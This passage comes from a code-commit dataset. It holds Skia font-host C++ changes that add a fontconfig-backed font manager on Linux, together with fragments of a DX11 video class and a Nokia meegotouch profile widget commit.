DX11Video::getShaderLanguage()\n{\n\treturn \"hlsl\";\n}\n\nID3D11Device& DX11Video::getDevice()\n{\n\treturn *device;\n}\n\nID3D11DeviceContext1& DX11Video::getDeviceContext()\n{\n\treturn *deviceContext;\n}\n\nSystemAPI& DX11Video::getSystem()\n{\n\treturn system;\n}\n\nvoid* DX11Video::getImplementationPointer(const String& id)\n{\n\tif (id == \"ID3D11Device\") {\n\t\treturn static_cast<IUnknown*>(device);\n\t}\n\treturn nullptr;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2008 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkFontConfigInterface.h\"\n#include \"SkFontDescriptor.h\"\n#include \"SkFontHost.h\"\n#include \"SkFontHost_FreeType_common.h\"\n#include \"SkFontStream.h\"\n#include \"SkStream.h\"\n#include \"SkTypeface.h\"\n#include \"SkTypefaceCache.h\"\n\nSK_DECLARE_STATIC_MUTEX(gFontConfigInterfaceMutex);\nstatic SkFontConfigInterface* gFontConfigInterface;\n\nSkFontConfigInterface* SkFontConfigInterface::RefGlobal() {\n    SkAutoMutexAcquire ac(gFontConfigInterfaceMutex);\n\n    return SkSafeRef(gFontConfigInterface);\n}\n\nSkFontConfigInterface* SkFontConfigInterface::SetGlobal(SkFontConfigInterface* fc) {\n    SkAutoMutexAcquire ac(gFontConfigInterfaceMutex);\n\n    SkRefCnt_SafeAssign(gFontConfigInterface, fc);\n    return fc;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ convenience function to create the direct interface if none is installed.\nextern SkFontConfigInterface* SkCreateDirectFontConfigInterface();\n\nstatic SkFontConfigInterface* RefFCI() {\n    for (;;) {\n        SkFontConfigInterface* fci = SkFontConfigInterface::RefGlobal();\n        if (fci) {\n            return fci;\n        }\n        fci = SkFontConfigInterface::GetSingletonDirectInterface();\n        SkFontConfigInterface::SetGlobal(fci)->unref();\n    }\n}\n\nclass FontConfigTypeface : public SkTypeface_FreeType {\n    SkFontConfigInterface::FontIdentity fIdentity;\n    SkString fFamilyName;\n    SkStream* fLocalStream;\n\npublic:\n    FontConfigTypeface(Style style,\n                       const SkFontConfigInterface::FontIdentity& fi,\n                       const SkString& familyName)\n            : INHERITED(style, SkTypefaceCache::NewFontID(), false)\n            , fIdentity(fi)\n            , fFamilyName(familyName)\n            , fLocalStream(NULL) {}\n\n    FontConfigTypeface(Style style, SkStream* localStream)\n            : INHERITED(style, SkTypefaceCache::NewFontID(), false) {\n        \/\/ we default to empty fFamilyName and fIdentity\n        fLocalStream = localStream;\n        SkSafeRef(localStream);\n    }\n\n    virtual ~FontConfigTypeface() {\n        SkSafeUnref(fLocalStream);\n    }\n\n    const SkFontConfigInterface::FontIdentity& getIdentity() const {\n        return fIdentity;\n    }\n\n    const char* getFamilyName() const { return fFamilyName.c_str(); }\n    SkStream*   getLocalStream() const { return fLocalStream; }\n\n    bool isFamilyName(const char* name) const {\n        return fFamilyName.equals(name);\n    }\n\nprotected:\n    friend class SkFontHost;    \/\/ hack until we can make public versions\n\n    virtual int onGetTableTags(SkFontTableTag tags[]) const SK_OVERRIDE;\n    virtual size_t onGetTableData(SkFontTableTag, size_t offset,\n                                  size_t length, void* data) const SK_OVERRIDE;\n    virtual void onGetFontDescriptor(SkFontDescriptor*, bool*) const SK_OVERRIDE;\n    virtual SkStream* onOpenStream(int* ttcIndex) const SK_OVERRIDE;\n\nprivate:\n    typedef SkTypeface_FreeType INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct FindRec {\n    FindRec(const char* name, SkTypeface::Style style)\n        : fFamilyName(name)  \/\/ don't need to make a deep copy\n        , fStyle(style) {}\n\n    const char* fFamilyName;\n    SkTypeface::Style fStyle;\n};\n\nstatic bool find_proc(SkTypeface* face, SkTypeface::Style style, void* ctx) {\n    FontConfigTypeface* fci = (FontConfigTypeface*)face;\n    const FindRec* rec = (const FindRec*)ctx;\n\n    return rec->fStyle == style && fci->isFamilyName(rec->fFamilyName);\n}\n\nSkTypeface* SkFontHost::CreateTypeface(const SkTypeface* familyFace,\n                                       const char familyName[],\n                                       SkTypeface::Style style) {\n    SkAutoTUnref<SkFontConfigInterface> fci(RefFCI());\n    if (NULL == fci.get()) {\n        return NULL;\n    }\n\n    if (familyFace) {\n        FontConfigTypeface* fct = (FontConfigTypeface*)familyFace;\n        familyName = fct->getFamilyName();\n    }\n\n    FindRec rec(familyName, style);\n    SkTypeface* face = SkTypefaceCache::FindByProcAndRef(find_proc, &rec);\n    if (face) {\n\/\/        SkDebugf(\"found cached face <%s> <%s> %p [%d]\\n\", familyName, ((FontConfigTypeface*)face)->getFamilyName(), face, face->getRefCnt());\n        return face;\n    }\n\n    SkFontConfigInterface::FontIdentity indentity;\n    SkString                            outFamilyName;\n    SkTypeface::Style                   outStyle;\n\n    if (!fci->matchFamilyName(familyName, style,\n                              &indentity, &outFamilyName, &outStyle)) {\n        return NULL;\n    }\n\n    face = SkNEW_ARGS(FontConfigTypeface, (outStyle, indentity, outFamilyName));\n    SkTypefaceCache::Add(face, style);\n\/\/    SkDebugf(\"add face <%s> <%s> %p [%d]\\n\", familyName, outFamilyName.c_str(), face, face->getRefCnt());\n    return face;\n}\n\nSkTypeface* SkFontHost::CreateTypefaceFromStream(SkStream* stream) {\n    if (!stream) {\n        return NULL;\n    }\n    const size_t length = stream->getLength();\n    if (!length) {\n        return NULL;\n    }\n    if (length >= 1024 * 1024 * 1024) {\n        return NULL;  \/\/ don't accept too large fonts (>= 1GB) for safety.\n    }\n\n    \/\/ TODO should the caller give us the style?\n    SkTypeface::Style style = SkTypeface::kNormal;\n    SkTypeface* face = SkNEW_ARGS(FontConfigTypeface, (style, stream));\n    SkTypefaceCache::Add(face, style);\n    return face;\n}\n\nSkTypeface* SkFontHost::CreateTypefaceFromFile(const char path[]) {\n    SkAutoTUnref<SkStream> stream(SkStream::NewFromFile(path));\n    return stream.get() ? CreateTypefaceFromStream(stream) : NULL;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkStream* FontConfigTypeface::onOpenStream(int* ttcIndex) const {\n    SkStream* stream = this->getLocalStream();\n    if (stream) {\n        \/\/ TODO: fix issue 1176.\n        \/\/ As of now open_stream will return a stream and unwind it, but the\n        \/\/ SkStream is not thread safe, and if two threads use the stream they\n        \/\/ may collide and print preview for example could still fail,\n        \/\/ or there could be some failures in rendering if this stream is used\n        \/\/ there.\n        stream->rewind();\n        stream->ref();\n        \/\/ should have been provided by CreateFromStream()\n        *ttcIndex = 0;\n    } else {\n        SkAutoTUnref<SkFontConfigInterface> fci(RefFCI());\n        if (NULL == fci.get()) {\n            return NULL;\n        }\n        stream = fci->openStream(this->getIdentity());\n        *ttcIndex = this->getIdentity().fTTCIndex;\n    }\n    return stream;\n}\n\nint FontConfigTypeface::onGetTableTags(SkFontTableTag tags[]) const {\n    int ttcIndex;\n    SkAutoTUnref<SkStream> stream(this->openStream(&ttcIndex));\n    return stream.get()\n                ? SkFontStream::GetTableTags(stream, ttcIndex, tags)\n                : 0;\n}\n\nsize_t FontConfigTypeface::onGetTableData(SkFontTableTag tag, size_t offset,\n                                  size_t length, void* data) const {\n    int ttcIndex;\n    SkAutoTUnref<SkStream> stream(this->openStream(&ttcIndex));\n    return stream.get()\n                ? SkFontStream::GetTableData(stream, ttcIndex,\n                                             tag, offset, length, data)\n                : 0;\n}\n\nvoid FontConfigTypeface::onGetFontDescriptor(SkFontDescriptor* desc,\n                                             bool* isLocalStream) const {\n    desc->setFamilyName(this->getFamilyName());\n    *isLocalStream = SkToBool(this->getLocalStream());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"SkFontMgr.h\"\n\nSkFontMgr* SkFontMgr::Factory() {\n    \/\/ todo\n    return NULL;\n}\n<commit_msg>check-point for new fontmgr on linux<commit_after>\/*\n * Copyright 2008 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkFontConfigInterface.h\"\n#include \"SkFontDescriptor.h\"\n#include \"SkFontHost.h\"\n#include \"SkFontHost_FreeType_common.h\"\n#include \"SkFontStream.h\"\n#include \"SkStream.h\"\n#include \"SkTypeface.h\"\n#include \"SkTypefaceCache.h\"\n\nSK_DECLARE_STATIC_MUTEX(gFontConfigInterfaceMutex);\nstatic SkFontConfigInterface* gFontConfigInterface;\n\nSkFontConfigInterface* SkFontConfigInterface::RefGlobal() {\n    SkAutoMutexAcquire ac(gFontConfigInterfaceMutex);\n\n    return SkSafeRef(gFontConfigInterface);\n}\n\nSkFontConfigInterface* SkFontConfigInterface::SetGlobal(SkFontConfigInterface* fc) {\n    SkAutoMutexAcquire ac(gFontConfigInterfaceMutex);\n\n    SkRefCnt_SafeAssign(gFontConfigInterface, fc);\n    return fc;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ convenience function to create the direct interface if none is installed.\nextern SkFontConfigInterface* SkCreateDirectFontConfigInterface();\n\nstatic SkFontConfigInterface* RefFCI() {\n    for (;;) {\n        SkFontConfigInterface* fci = SkFontConfigInterface::RefGlobal();\n        if (fci) {\n            return fci;\n        }\n        fci = SkFontConfigInterface::GetSingletonDirectInterface();\n        SkFontConfigInterface::SetGlobal(fci)->unref();\n    }\n}\n\nclass FontConfigTypeface : public SkTypeface_FreeType {\n    SkFontConfigInterface::FontIdentity fIdentity;\n    SkString fFamilyName;\n    SkStream* fLocalStream;\n\npublic:\n    FontConfigTypeface(Style style,\n                       const SkFontConfigInterface::FontIdentity& fi,\n                       const SkString& familyName)\n            : INHERITED(style, SkTypefaceCache::NewFontID(), false)\n            , fIdentity(fi)\n            , fFamilyName(familyName)\n            , fLocalStream(NULL) {}\n\n    FontConfigTypeface(Style style, SkStream* localStream)\n            : INHERITED(style, SkTypefaceCache::NewFontID(), false) {\n        \/\/ we default to empty fFamilyName and fIdentity\n        fLocalStream = localStream;\n        SkSafeRef(localStream);\n    }\n\n    virtual ~FontConfigTypeface() {\n        SkSafeUnref(fLocalStream);\n    }\n\n    const SkFontConfigInterface::FontIdentity& getIdentity() const {\n        return fIdentity;\n    }\n\n    const char* getFamilyName() const { return fFamilyName.c_str(); }\n    SkStream*   getLocalStream() const { return fLocalStream; }\n\n    bool isFamilyName(const char* name) const {\n        return fFamilyName.equals(name);\n    }\n\nprotected:\n    friend class SkFontHost;    \/\/ hack until we can make public versions\n\n    virtual int onGetTableTags(SkFontTableTag tags[]) const SK_OVERRIDE;\n    virtual size_t onGetTableData(SkFontTableTag, size_t offset,\n                                  size_t length, void* data) const SK_OVERRIDE;\n    virtual void onGetFontDescriptor(SkFontDescriptor*, bool*) const SK_OVERRIDE;\n    virtual SkStream* onOpenStream(int* ttcIndex) const SK_OVERRIDE;\n\nprivate:\n    typedef SkTypeface_FreeType INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct FindRec {\n    FindRec(const char* name, SkTypeface::Style style)\n        : fFamilyName(name)  \/\/ don't need to make a deep copy\n        , fStyle(style) {}\n\n    const char* fFamilyName;\n    SkTypeface::Style fStyle;\n};\n\nstatic bool find_proc(SkTypeface* face, SkTypeface::Style style, void* ctx) {\n    FontConfigTypeface* fci = (FontConfigTypeface*)face;\n    const FindRec* rec = (const FindRec*)ctx;\n\n    return rec->fStyle == style && fci->isFamilyName(rec->fFamilyName);\n}\n\nSkTypeface* SkFontHost::CreateTypeface(const SkTypeface* familyFace,\n                                       const char familyName[],\n                                       SkTypeface::Style style) {\n    SkAutoTUnref<SkFontConfigInterface> fci(RefFCI());\n    if (NULL == fci.get()) {\n        return NULL;\n    }\n\n    if (familyFace) {\n        FontConfigTypeface* fct = (FontConfigTypeface*)familyFace;\n        familyName = fct->getFamilyName();\n    }\n\n    FindRec rec(familyName, style);\n    SkTypeface* face = SkTypefaceCache::FindByProcAndRef(find_proc, &rec);\n    if (face) {\n\/\/        SkDebugf(\"found cached face <%s> <%s> %p [%d]\\n\", familyName, ((FontConfigTypeface*)face)->getFamilyName(), face, face->getRefCnt());\n        return face;\n    }\n\n    SkFontConfigInterface::FontIdentity indentity;\n    SkString                            outFamilyName;\n    SkTypeface::Style                   outStyle;\n\n    if (!fci->matchFamilyName(familyName, style,\n                              &indentity, &outFamilyName, &outStyle)) {\n        return NULL;\n    }\n\n    face = SkNEW_ARGS(FontConfigTypeface, (outStyle, indentity, outFamilyName));\n    SkTypefaceCache::Add(face, style);\n\/\/    SkDebugf(\"add face <%s> <%s> %p [%d]\\n\", familyName, outFamilyName.c_str(), face, face->getRefCnt());\n    return face;\n}\n\nSkTypeface* SkFontHost::CreateTypefaceFromStream(SkStream* stream) {\n    if (!stream) {\n        return NULL;\n    }\n    const size_t length = stream->getLength();\n    if (!length) {\n        return NULL;\n    }\n    if (length >= 1024 * 1024 * 1024) {\n        return NULL;  \/\/ don't accept too large fonts (>= 1GB) for safety.\n    }\n\n    \/\/ TODO should the caller give us the style?\n    SkTypeface::Style style = SkTypeface::kNormal;\n    SkTypeface* face = SkNEW_ARGS(FontConfigTypeface, (style, stream));\n    SkTypefaceCache::Add(face, style);\n    return face;\n}\n\nSkTypeface* SkFontHost::CreateTypefaceFromFile(const char path[]) {\n    SkAutoTUnref<SkStream> stream(SkStream::NewFromFile(path));\n    return stream.get() ? CreateTypefaceFromStream(stream) : NULL;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkStream* FontConfigTypeface::onOpenStream(int* ttcIndex) const {\n    SkStream* stream = this->getLocalStream();\n    if (stream) {\n        \/\/ TODO: fix issue 1176.\n        \/\/ As of now open_stream will return a stream and unwind it, but the\n        \/\/ SkStream is not thread safe, and if two threads use the stream they\n        \/\/ may collide and print preview for example could still fail,\n        \/\/ or there could be some failures in rendering if this stream is used\n        \/\/ there.\n        stream->rewind();\n        stream->ref();\n        \/\/ should have been provided by CreateFromStream()\n        *ttcIndex = 0;\n    } else {\n        SkAutoTUnref<SkFontConfigInterface> fci(RefFCI());\n        if (NULL == fci.get()) {\n            return NULL;\n        }\n        stream = fci->openStream(this->getIdentity());\n        *ttcIndex = this->getIdentity().fTTCIndex;\n    }\n    return stream;\n}\n\nint FontConfigTypeface::onGetTableTags(SkFontTableTag tags[]) const {\n    int ttcIndex;\n    SkAutoTUnref<SkStream> stream(this->openStream(&ttcIndex));\n    return stream.get()\n                ? SkFontStream::GetTableTags(stream, ttcIndex, tags)\n                : 0;\n}\n\nsize_t FontConfigTypeface::onGetTableData(SkFontTableTag tag, size_t offset,\n                                  size_t length, void* data) const {\n    int ttcIndex;\n    SkAutoTUnref<SkStream> stream(this->openStream(&ttcIndex));\n    return stream.get()\n                ? SkFontStream::GetTableData(stream, ttcIndex,\n                                             tag, offset, length, data)\n                : 0;\n}\n\nvoid FontConfigTypeface::onGetFontDescriptor(SkFontDescriptor* desc,\n                                             bool* isLocalStream) const {\n    desc->setFamilyName(this->getFamilyName());\n    *isLocalStream = SkToBool(this->getLocalStream());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ look for the last substring after a '\/' and return that, or return null.\nstatic const char* find_just_name(const char* str) {\n    const char* last = strrchr(str, '\/');\n    return last ? last + 1 : NULL;\n}\n\nstatic bool is_lower(char c) {\n    return c >= 'a' && c <= 'z';\n}\n\n#include \"SkFontMgr.h\"\n#include <fontconfig\/fontconfig.h>\n\nstatic int get_int(FcPattern* pattern, const char field[]) {\n    int value;\n    if (FcPatternGetInteger(pattern, field, 0, &value) != FcResultMatch) {\n        value = SK_MinS32;\n    }\n    return value;\n}\n\nstatic const char* get_name(FcPattern* pattern, const char field[]) {\n    const char* name;\n    if (FcPatternGetString(pattern, field, 0, (FcChar8**)&name) != FcResultMatch) {\n        name = \"\";\n    }\n    return name;\n}\n\nstatic bool valid_pattern(FcPattern* pattern) {\n    FcBool is_scalable;\n    if (FcPatternGetBool(pattern, FC_SCALABLE, 0, &is_scalable) != FcResultMatch || !is_scalable) {\n        return false;\n    }\n\n    \/\/ fontconfig can also return fonts which are unreadable\n    const char* c_filename = get_name(pattern, FC_FILE);\n    if (0 == *c_filename) {\n        return false;\n    }\n    if (access(c_filename, R_OK) != 0) {\n        return false;\n    }\n    return true;\n}\n\nstatic bool match_name(FcPattern* pattern, const char family_name[]) {\n    return !strcasecmp(family_name, get_name(pattern, FC_FAMILY));\n}\n\nstatic FcPattern** MatchFont(FcFontSet* font_set,\n                             const char post_config_family[],\n                             int* count) {\n  \/\/ Older versions of fontconfig have a bug where they cannot select\n  \/\/ only scalable fonts so we have to manually filter the results.\n  \n    FcPattern** iter = font_set->fonts;\n    FcPattern** stop = iter + font_set->nfont;\n    \/\/ find the first good match\n    for (; iter < stop; ++iter) {\n        if (valid_pattern(*iter)) {\n            break;\n        }\n    }\n\n    if (iter == stop || !match_name(*iter, post_config_family)) {\n        return NULL;\n    }\n\n    FcPattern** firstIter = iter++;\n    for (; iter < stop; ++iter) {\n        if (!valid_pattern(*iter) || !match_name(*iter, post_config_family)) {\n            break;\n        }\n    }\n    \n    *count = iter - firstIter;\n    return firstIter;\n}\n\nclass SkFontStyleSet_FC : public SkFontStyleSet {\npublic:\n    SkFontStyleSet_FC(FcPattern** matches, int count);\n    virtual ~SkFontStyleSet_FC();\n\n    virtual int count() SK_OVERRIDE { return fRecCount; }\n    virtual void getStyle(int index, SkFontStyle*, SkString* style) SK_OVERRIDE;\n    virtual SkTypeface* createTypeface(int index) SK_OVERRIDE;\n    virtual SkTypeface* matchStyle(const SkFontStyle& pattern) SK_OVERRIDE;\n    \nprivate:\n    struct Rec {\n        SkString    fStyleName;\n        SkString    fFileName;\n        SkFontStyle fStyle;\n    };\n    Rec* fRecs;\n    int  fRecCount;\n};\n\nstatic int map_range(int value,\n                     int old_min, int old_max, int new_min, int new_max) {\n    SkASSERT(old_min < old_max);\n    SkASSERT(new_min < new_max);    \n    return new_min + SkMulDiv(value - old_min,\n                              new_max - new_min, old_max - old_min);\n}\n\nstatic SkFontStyle make_fontconfig_style(FcPattern* match) {\n    int weight = get_int(match, FC_WEIGHT);\n    int width = get_int(match, FC_WIDTH);\n    int slant = get_int(match, FC_SLANT);\n\/\/    SkDebugf(\"old weight %d new weight %d\\n\", weight, map_range(weight, 0, 80, 0, 400));\n   \n    \/\/ fontconfig weight seems to be 0..200 or so, so we remap it here\n    weight = map_range(weight, 0, 80, 0, 400);\n    width = map_range(width, 0, 200, 0, 9);\n    return SkFontStyle(weight, width, slant > 0 ? SkFontStyle::kItalic_Slant\n                                                : SkFontStyle::kUpright_Slant);\n}\n\nSkFontStyleSet_FC::SkFontStyleSet_FC(FcPattern** matches, int count) {\n    fRecCount = count;\n    fRecs = SkNEW_ARRAY(Rec, count);\n    for (int i = 0; i < count; ++i) {\n        fRecs[i].fStyleName.set(get_name(matches[i], FC_STYLE));\n        fRecs[i].fFileName.set(get_name(matches[i], FC_FILE));\n        fRecs[i].fStyle = make_fontconfig_style(matches[i]);\n        \n\/\/        SkDebugf(\"%s [%d %d %d]\\n\", fRecs[i].fFileName.c_str(), fRecs[i].fStyle.weight(), fRecs[i].fStyle.width(), fRecs[i].fStyle.isItalic());\n    }\n}\n\nSkFontStyleSet_FC::~SkFontStyleSet_FC() {\n    SkDELETE_ARRAY(fRecs);\n}\n\nvoid SkFontStyleSet_FC::getStyle(int index, SkFontStyle* style,\n                                 SkString* styleName) {\n    SkASSERT((unsigned)index < (unsigned)fRecCount);\n    if (style) {\n        *style = fRecs[index].fStyle;\n    }\n    if (styleName) {\n        *styleName = fRecs[index].fStyleName;\n    }\n}\n\nSkTypeface* SkFontStyleSet_FC::createTypeface(int index) {\n    return NULL;\n}\n\nSkTypeface* SkFontStyleSet_FC::matchStyle(const SkFontStyle& pattern) {\n    return NULL;\n}\n\nstatic bool find_name(const SkTDArray<const char*>& array, const char* name) {\n    for (int i = 0; i < array.count(); ++i) {\n        if (0 == strcmp(array[i], name)) {\n            return true;\n        }\n    }\n    return false;\n}\n\nclass SkFontMgr_fontconfig : public SkFontMgr {\n    SkAutoTUnref<SkFontConfigInterface> fFCI;\n\n    int fFamilyCount;\n    SkString* fFamilyNames;\n\n    void init() {\n        if (fFamilyCount >= 0) {\n            return;\n        }\n\n        FcPattern* pat = FcPatternCreate();\n        FcObjectSet* os = FcObjectSetBuild (FC_FAMILY, (char *) 0);\n        FcFontSet* fs = FcFontList(NULL, pat, os);\n\n        SkTDArray<const char*> familyNames;\n        familyNames.setReserve(fs->nfont);\n        for (int i=0; fs && i < fs->nfont; ++i) {\n            FcPattern* match = fs->fonts[i];\n            const char* famName = get_name(match, FC_FAMILY);\n            if (!find_name(familyNames, famName)) {\n                *familyNames.append() = famName;\n            }\n\/\/            SkDebugf(\"[%d %d] %s %s %x\\n\", i, fs->nfont, get_name(match, FC_FILE),\n\/\/                     get_name(match, FC_FAMILY), get_name(match, FC_FAMILY));\n        }\n        \n        fFamilyCount = familyNames.count();\n        fFamilyNames = SkNEW_ARRAY(SkString, fFamilyCount);\n        for (int i = 0; i < fFamilyCount; ++i) {\n            fFamilyNames[i].set(familyNames[i]);\n        }\n\n        if (fs) FcFontSetDestroy(fs);\n        FcPatternDestroy(pat);\n    }\n\npublic:\n    SkFontMgr_fontconfig(SkFontConfigInterface* fci) : fFCI(fci) {\n        fFamilyCount = -1;\n    }\n    \n    virtual ~SkFontMgr_fontconfig() {\n        SkDELETE_ARRAY(fFamilyNames);\n    }\n\nprotected:\n    virtual int onCountFamilies() { this->init(); return fFamilyCount; }\n\n    virtual void onGetFamilyName(int index, SkString* familyName) {\n        this->init();\n        SkASSERT((unsigned)index < (unsigned)fFamilyCount);\n        *familyName = fFamilyNames[index];\n    }\n\n    virtual SkFontStyleSet* onCreateStyleSet(int index) {\n        this->init();\n        SkASSERT((unsigned)index < (unsigned)fFamilyCount);\n        return this->onMatchFamily(fFamilyNames[index].c_str());\n    }\n\n    virtual SkFontStyleSet* onMatchFamily(const char familyName[]) {\n        this->init();\n\n        FcPattern* pattern = FcPatternCreate();\n\n        FcPatternAddString(pattern, FC_FAMILY, (FcChar8*)familyName);\n#if 0\n        FcPatternAddBool(pattern, FC_SCALABLE, FcTrue);\n#endif\n        FcConfigSubstitute(NULL, pattern, FcMatchPattern);\n        FcDefaultSubstitute(pattern);\n\n        const char* post_config_family = get_name(pattern, FC_FAMILY);\n\n        FcResult result;\n        FcFontSet* font_set = FcFontSort(0, pattern, 0, 0, &result);\n        if (!font_set) {\n            FcPatternDestroy(pattern);\n            return NULL;\n        }\n\n        int count;\n        FcPattern** match = MatchFont(font_set, post_config_family, &count);\n        if (!match) {\n            FcPatternDestroy(pattern);\n            FcFontSetDestroy(font_set);\n            return NULL;\n        }\n\n        FcPatternDestroy(pattern);\n\n        SkTDArray<FcPattern*> trimmedMatches;\n        for (int i = 0; i < count; ++i) {\n            const char* justName = find_just_name(get_name(match[i], FC_FILE));\n            if (!is_lower(*justName)) {\n                *trimmedMatches.append() = match[i];\n            }\n            #if 0\n            printf(\"[%d:%d] %s %s [%d %d %d]\\n\", i, count,\n                   get_name(match[i], FC_STYLE), get_name(match[i], FC_FILE),\n                   get_int(match[i], FC_WEIGHT), get_int(match[i], FC_WIDTH),\n                   get_int(match[i], FC_SLANT));\n            #endif\n        }\n\n        SkFontStyleSet_FC* sset = SkNEW_ARGS(SkFontStyleSet_FC,\n                                             (trimmedMatches.begin(),\n                                              trimmedMatches.count()));\n        return sset;\n    }\n\n    virtual SkTypeface* onMatchFamilyStyle(const char familyName[],\n                                           const SkFontStyle&) { return NULL; }\n    virtual SkTypeface* onMatchFaceStyle(const SkTypeface*,\n                                         const SkFontStyle&) { return NULL; }\n\n    virtual SkTypeface* onCreateFromData(SkData*, int ttcIndex) { return NULL; }\n    virtual SkTypeface* onCreateFromStream(SkStream*, int ttcIndex) {\n        return NULL;\n    }\n    virtual SkTypeface* onCreateFromFile(const char path[], int ttcIndex) {\n        return NULL;\n    }\n};\n\nSkFontMgr* SkFontMgr::Factory() {\n    SkFontConfigInterface* fci = RefFCI();\n    return fci ? SkNEW_ARGS(SkFontMgr_fontconfig, (fci)) : NULL;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of meegotouch-controlpanelapplets.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n#include \"profilewidget.h\"\n#include \"profiledatainterface.h\"\n#include \"profiledialog.h\"\n#include \"profileplugin.h\"\n\n#undef DEBUG\n#include \"..\/debug.h\"\n\n#include <DuiControlPanelIf>\n#include <MLocale>\n#include <MStatusIndicatorMenuExtensionInterface>\n\n#include <QGraphicsLinearLayout>\n\nstatic const char *profiles_translation = \"profiles\";\n\nProfileWidget::ProfileWidget (\n    ProfilePlugin *profilePlugin,\n    QGraphicsItem *parent) :\n        MButton (parent),\n        plugin (profilePlugin),\n        dataIf (0)\n{\n    MLocale       locale;\n\n    SYS_DEBUG (\"\");\n    dataIf = new ProfileDataInterface ();\n\n    \/\/ load our translation catalogue...\n    locale.installTrCatalog (profiles_translation);\n    MLocale::setDefault (locale);\n\n    setViewType (MButton::iconType);\n    setObjectName(\"StatusIndicatorMenuTopRowExtensionButton\");\n    connect(this, SIGNAL (clicked ()), this, SLOT (showProfileDialog ()));\n    connect (dataIf, SIGNAL (currentProfile (int)), SLOT (profileChanged ()));\n\n    profileChanged ();\n}\n\nProfileWidget::~ProfileWidget ()\n{\n    SYS_DEBUG (\"\");\n\n    delete dataIf;\n    dataIf = 0;\n}\n\nvoid\nProfileWidget::profileChanged()\n{\n    \/\/% \"Profile\"\n    setText (qtTrId (\"qtn_prof_profile\"));\n\n    setIconID(dataIf->mapId2StatusIconId(dataIf->getCurrentProfile()));\n}\n\nvoid ProfileWidget::showProfileDialog ()\n{\n    MStatusIndicatorMenuInterface *menu;\n\n    menu = plugin->statusIndicatorMenuInterface ();\n    if (menu) {\n        menu->hideStatusIndicatorMenu ();\n    }\n\n    ProfileDialog dialog (dataIf);\n\n    connect (&dialog, SIGNAL (profileChanged (int)), SLOT (profileChanged ()));\n\n    dialog.exec ();\n}\n\nvoid\nProfileWidget::retranslateUi ()\n{\n    \/\/% \"Profile\"\n    setText (qtTrId (\"qtn_prof_profile\"));\n}\n\n<commit_msg>Changes: whitespace fixes...<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of 